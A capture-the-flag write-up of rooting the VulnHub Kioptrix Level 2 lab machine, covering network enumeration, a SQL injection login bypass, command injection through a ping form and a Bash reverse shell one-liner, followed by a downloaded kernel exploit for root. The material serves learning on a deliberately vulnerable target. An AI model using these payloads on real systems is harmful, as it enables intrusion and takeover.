VulnHub Write-Up Kioptrix Level 2

How I obtained root access on the Kioptrix Level 2 virtual machine from VulnHub.


Last week I started the often recommended Kioptrix series of vulnerable by design virtual machines with Kioptrix Level 1. This week I focus on Kioptrix Level 2, the next machine in the series. If you want to try this challenge yourself it can be downloaded here.

Tools Used

  • Netdiscover
  • Nmap
  • Firefox
  • Searchsploit
  • Python SimpleHTTPServer
  • Wget
  • Gcc

Enumeration: Netdiscover

As the Kioptrix series are virtual machines in a downloadable and self-hosted format the machine gets an IP address from DHCP when it starts. This means that unlike online challenges such as Hack The Box the IP address of the machine is somewhat “unknown” beforehand.

The first thing to know is the local network address by using the ifconfig command. 800x400

Knowing the network address and subnet mask Netdiscover can be leveraged to do some ARP reconnaissance and find other hosts on the local network. 800x400

The Kioptrix machine is hosted on the VMware software so it is safe to assume that the last entry in the list is the target as the MAC Vendor column indicates a MAC address associated with VMware. 800x400

Enumeration: Nmap

Running an initial scan with Nmap against the discovered IP address reveals ports 22, 80, 111, 443, 631 and 3306 are open. 800x400

Running a targeted service scan against ports 22, 80, 111, 443, 631 and 3306 reveals the OpenSSH, Apache, RPC, CUPS and the MySQL database server are listening. 800x400

Enumeration: Firefox

A visit to the website with the Firefox browser reveals a simple login form for a remote system administration application. 800x400

The username field of the login form is vulnerable to SQL injection making it possible to bypass the login form with the following syntax ‘or 1=1 #. 800x400

Once the login form is bypassed a simple application is revealed that can ping machines on the network. 800x400

Pinging the localhost address on the machine opens another page with the output of the ping command. 800x400

Executing the ping command with the parameters;whoami again opens another page. 800x400

This time the output of the ping command is not the only result as the apache user is shown at the bottom of the page. This means the whoami command also executed confirming it is possible to execute other programs on the host. 800x400

Exploitation: Initial Shell

Preparing an Ncat listener on port 443 to catch a Bash reverse shell. 800x400

Executing the ping command followed by a Bash reverse shell with the following command;bash -i >& /dev/tcp/ 0>&1. 800x400

Bash connects to the Ncat listener opening a low privilege reverse shell as the Apache user. 800x400

Privilege Escalation

Investigating the target operating system, kernel version and architecture reveals both are severely out of date indicating a privilege escalation exploit is most likely available for the machine. 800x400

A quick search with searchsploit for Linux Kernel 2.6 CentOS reveals several public exploits but only one result is displayed for the x86 architecture specifically. 800x400

Copying the exploit from the local exploit database to investigate and modify it where necessary. 800x400

Investigating the exploit code reveals that the author tested it on the exact operating system and kernel version making it highly likely that the exploit will work on the target. 800x400

Verifying if the gcc compiler is available on the target to compile the exploit locally. 800x400

Copying the exploit and preparing the Python SimpleHTTPServer on port 80 to serve the exploit over HTTP. 800x400

Now that the Python SimpleHTTPServer is running wget can be leveraged to download the exploit on the target. The exploit is also compiled with gcc and made executable with the chmod +x command. 800x400

Exploitation: Root

Executing the exploit on kioptrix.level2 results in root level access and a full compromise of the machine. 800x400


Kioptrix Level 2 is the second machine in the Kioptrix series. Gaining an initial foothold on this machine requires a bit more effort and makes the machine a small step up in difficulty.

Once the initial foothold is established the privilege escalation to root is straight forward and about the same difficulty as the first machine in the series.

© 2018. All rights reserved.